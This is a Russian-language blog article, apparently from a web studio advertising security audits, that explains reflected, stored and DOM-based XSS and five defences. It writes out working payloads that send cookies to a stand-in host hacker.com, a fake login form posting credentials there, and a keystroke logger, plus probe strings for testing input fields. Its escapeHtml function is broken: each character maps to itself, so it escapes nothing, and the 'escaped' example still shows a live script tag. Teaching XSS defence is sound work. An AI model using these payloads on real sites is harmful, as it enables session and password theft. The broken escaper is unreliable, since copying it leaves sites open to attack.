Что такое XSS и почему это опасно
XSS расшифровывается как Cross-Site Scripting (межсайтовый скриптинг). Название звучит страшно, но суть простая: это когда хакер подсовывает свой вредоносный код на ваш сайт, и этот код выполняется в браузерах ваших пользователей.
Представьте: у вас на сайте есть поле для комментариев. Обычный пользователь напишет "Отличный товар!". А хакер напишет специальный код, который ворует пароли других пользователей, которые читают этот комментарий. И ваш сайт честно показывает этот "комментарий" всем посетителям.
Звучит как фильм про хакеров? К сожалению, это реальность. XSS - вторая по распространённости уязвимость в мире (после SQL-инъекций). И защититься от неё проще, чем кажется.
Как это работает (на простом примере)
Допустим, у вас на сайте есть поиск. Пользователь вводит запрос, и сайт показывает: "Результаты поиска по запросу: кроссовки". Обычно это выглядит так:
// Пользователь ищет "кроссовки"
// Сайт показывает:
// "Результаты поиска по запросу: кроссовки"
// В HTML это выглядит так:
<p>Результаты поиска по запросу: кроссовки</p>
// Всё нормально, правда?
А теперь смотрите, что произойдёт, если вместо "кроссовки" ввести вот это:
// Хакер вводит в поиск:
<script>alert('Вас взломали!')</script>
// Сайт подставляет это в HTML:
<p>Результаты поиска по запросу: <script>alert('Вас взломали!')</script></p>
// Браузер видит тег <script> и ВЫПОЛНЯЕТ код!
// Появляется окошко "Вас взломали!"
// Конечно, показать окошко - это безобидно.
// Но вместо alert можно написать код, который:
// - ворует cookies (а значит, может украсть сессию)
// - перенаправляет на фишинговый сайт
// - показывает фейковую форму входа
// - отправляет данные на сервер хакера
Три вида XSS-атак
1. Отражённая XSS (Reflected)
Самый простой вид. Вредоносный код содержится прямо в ссылке. Хакер отправляет жертве специальную ссылку, жертва кликает - и код выполняется.
// Обычная ссылка:
// https://shop.ru/search?q=кроссовки
// Ссылка хакера:
// https://shop.ru/search?q=<script>document.location='https://hacker.com/steal?cookie='+document.cookie</script>
// Если сайт подставляет параметр q в HTML без проверки -
// браузер выполнит скрипт и отправит cookies на сервер хакера
// Хакер получает cookies жертвы и может войти под её аккаунтом
2. Хранимая XSS (Stored)
Самый опасный вид. Вредоносный код сохраняется на сервере (в базе данных) и показывается всем пользователям. Классический пример - комментарии, отзывы, форумы.
// Хакер оставляет "комментарий":
// "Отличный товар! <script>...вредоносный код...</script>"
// Этот комментарий сохраняется в базу данных
// И показывается КАЖДОМУ пользователю, который открывает страницу
// Каждый посетитель страницы становится жертвой
// Хакеру даже не нужно отправлять ссылки - атака работает автоматически
3. DOM-based XSS
Этот вид атаки происходит полностью в браузере. Серверный код может быть идеальным, но если JavaScript на клиенте неправильно обрабатывает данные - уязвимость есть.
// Уязвимый JavaScript на странице:
const name = new URLSearchParams(window.location.search).get("name")
// ОПАСНО! Подставляем значение из URL прямо в HTML
document.getElementById("greeting").innerHTML = "Привет, " + name
// Хакер создаёт ссылку:
// https://site.ru/page?name=<img src=x onerror="alert('XSS')">
// Когда жертва откроет эту ссылку,
// JavaScript подставит картинку с ошибкой,
// а обработчик onerror выполнит вредоносный код
Что реально может украсть хакер
Давайте перестанем показывать alert() и посмотрим, что хакер делает на самом деле:
// 1. КРАЖА СЕССИИ (самое частое)
// Хакер получает cookie с токеном сессии
// и может войти на сайт под вашим аккаунтом
// Вредоносный код:
new Image().src = "https://hacker.com/steal?cookie=" + document.cookie
// Отправляет ваши cookies на сервер хакера через "невидимую картинку"
// Вы ничего не заметите - ни окошек, ни перенаправлений
// 2. ФЕЙКОВАЯ ФОРМА ВХОДА
// Хакер рисует поверх сайта свою форму логина
// Пользователь думает, что это настоящая форма, и вводит пароль
document.body.innerHTML = `
<div style="text-align:center;padding:100px">
<h2>Сессия истекла. Войдите заново:</h2>
<form action="https://hacker.com/phish">
<input name="login" placeholder="Логин">
<input name="pass" type="password" placeholder="Пароль">
<button>Войти</button>
</form>
</div>
`
// 3. КЕЙЛОГГЕР
// Записывает всё, что пользователь печатает на странице
document.addEventListener("keypress", function(e) {
new Image().src = "https://hacker.com/log?key=" + e.key
})
// Каждая нажатая клавиша отправляется хакеру
// Пароли, номера карт, личные сообщения - всё
Как защититься: 5 методов
Метод 1: Экранирование (самый важный!)
Главное правило: никогда не вставляйте пользовательские данные в HTML как есть. Всегда заменяйте специальные символы на безопасные:
// Функция экранирования HTML
// Заменяет опасные символы на безопасные HTML-сущности
function escapeHtml(text) {
const map = {
'&': '&', // амперсанд
'<': '<', // открывающая скобка (начало тега)
'>': '>', // закрывающая скобка (конец тега)
'"': '"', // кавычки
"'": ''' // одинарная кавычка
}
return text.replace(/[&<>"']/g, char => map[char])
}
// Теперь вместо:
// <p>Результаты: ${userInput}</p> // ОПАСНО!
// Делаем:
// <p>Результаты: ${escapeHtml(userInput)}</p> // БЕЗОПАСНО!
// Если хакер введёт <script>alert('XSS')</script>
// после экранирования это превратится в:
// <script>alert('XSS')</script>
// Браузер покажет это как ТЕКСТ, а не выполнит как код
Метод 2: Content Security Policy (CSP)
CSP - это HTTP-заголовок, который говорит браузеру: "Выполняй скрипты только из этих источников". Даже если хакер внедрит код - браузер не выполнит его.
# Nginx: добавляем заголовок CSP
# Строгая политика: скрипты только с нашего домена
add_header Content-Security-Policy "
default-src 'self';
script-src 'self' https://cdn.jsdelivr.net;
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
font-src 'self';
connect-src 'self' https://api.example.com;
" always;
# Что это значит:
# default-src 'self' - по умолчанию загружать только с нашего домена
# script-src 'self' - JavaScript только с нашего домена
# Если хакер внедрит <script src="https://hacker.com/evil.js">
# браузер НЕ загрузит этот скрипт (он не в списке разрешённых)
Метод 3: HttpOnly cookies
Если хакер не может получить cookies через JavaScript - кража сессии становится намного сложнее:
// Устанавливаем cookie с флагом HttpOnly
// ПЛОХО: обычная cookie (доступна из JavaScript)
res.cookie("session", token)
// document.cookie вернёт эту cookie - хакер может украсть
// ХОРОШО: HttpOnly cookie (НЕ доступна из JavaScript)
res.cookie("session", token, {
httpOnly: true, // JavaScript НЕ может прочитать эту cookie
secure: true, // Только через HTTPS
sameSite: "Lax", // Защита от CSRF-атак
maxAge: 86400000 // Время жизни: 24 часа
})
// Теперь document.cookie НЕ покажет эту cookie
// Хакер не сможет её украсть через XSS
Метод 4: Используйте фреймворки правильно
Современные фреймворки (React, Vue, Angular) по умолчанию экранируют данные. Но есть исключения:
// React: БЕЗОПАСНО по умолчанию
// React автоматически экранирует всё, что вы вставляете в JSX
function Comment({ text }) {
// БЕЗОПАСНО - React экранирует text автоматически
return <p>{text}</p>
}
// Если text = "<script>alert('XSS')</script>"
// React покажет это как текст, а не выполнит
// React: ОПАСНО - dangerouslySetInnerHTML
function Comment({ html }) {
// ОПАСНО! Это вставляет HTML без экранирования!
// Используйте ТОЛЬКО для доверенного контента
return <div dangerouslySetInnerHTML={{ __html: html }} />
}
// Если используете dangerouslySetInnerHTML -
// ОБЯЗАТЕЛЬНО очищайте HTML перед вставкой:
import DOMPurify from "dompurify"
function SafeComment({ html }) {
// DOMPurify убирает все опасные теги и атрибуты
const cleanHtml = DOMPurify.sanitize(html)
return <div dangerouslySetInnerHTML={{ __html: cleanHtml }} />
}
Метод 5: Валидация и очистка на сервере
Никогда не доверяйте данным от пользователя. Всегда проверяйте и очищайте на сервере:
// Node.js + Express: очистка пользовательского ввода
import xss from "xss" // npm install xss
// Middleware для очистки всех входящих данных
app.use((req, res, next) => {
// Очищаем все строковые поля в body
if (req.body) {
for (const key in req.body) {
if (typeof req.body[key] === "string") {
req.body[key] = xss(req.body[key])
// xss() удаляет все опасные теги и атрибуты
// "<script>alert('XSS')</script>" превращается в ""
// "<b>жирный</b>" остаётся как есть (безопасный тег)
}
}
}
next()
})
// Теперь все данные из форм автоматически очищены
// от вредоносного кода ещё до обработки
Чек-лист защиты от XSS
- Экранируйте все пользовательские данные при выводе в HTML
- Настройте Content Security Policy (CSP)
- Используйте HttpOnly для cookies с сессией
- Не используйте innerHTML/dangerouslySetInnerHTML с непроверенными данными
- Валидируйте и очищайте данные на сервере
- Используйте библиотеку DOMPurify для очистки HTML
- Регулярно обновляйте зависимости (уязвимости находят постоянно)
Как проверить свой сайт на XSS
Простой тест, который можно сделать прямо сейчас:
- Найдите все поля ввода на вашем сайте (поиск, комментарии, формы)
- Введите в каждое:
<script>alert(1)</script> - Если появилось окошко с "1" - у вас проблема
- Также попробуйте:
<img src=x onerror=alert(1)> - И это:
"onmouseover="alert(1)
Это самый базовый тест. Для полноценной проверки нужен аудит безопасности.
Мы в ENOT.SOFTWARE проводим аудит безопасности веб-приложений. Проверяем на XSS, SQL-инъекции, CSRF и другие уязвимости из OWASP Top 10. Напишите нам - лучше найти уязвимость до того, как её найдут хакеры.
Итого
XSS - это серьёзная уязвимость, но защититься от неё не так уж сложно. Главное правило одно: никогда не доверяйте данным от пользователя. Всё, что приходит от пользователя - экранируйте, очищайте, валидируйте. Добавьте CSP-заголовки и HttpOnly cookies - и 95% атак будут нейтрализованы.
Безопасность - это не "настроил и забыл". Это постоянный процесс. Но базовые меры, описанные в этой статье, защитят вас от подавляющего большинства XSS-атак.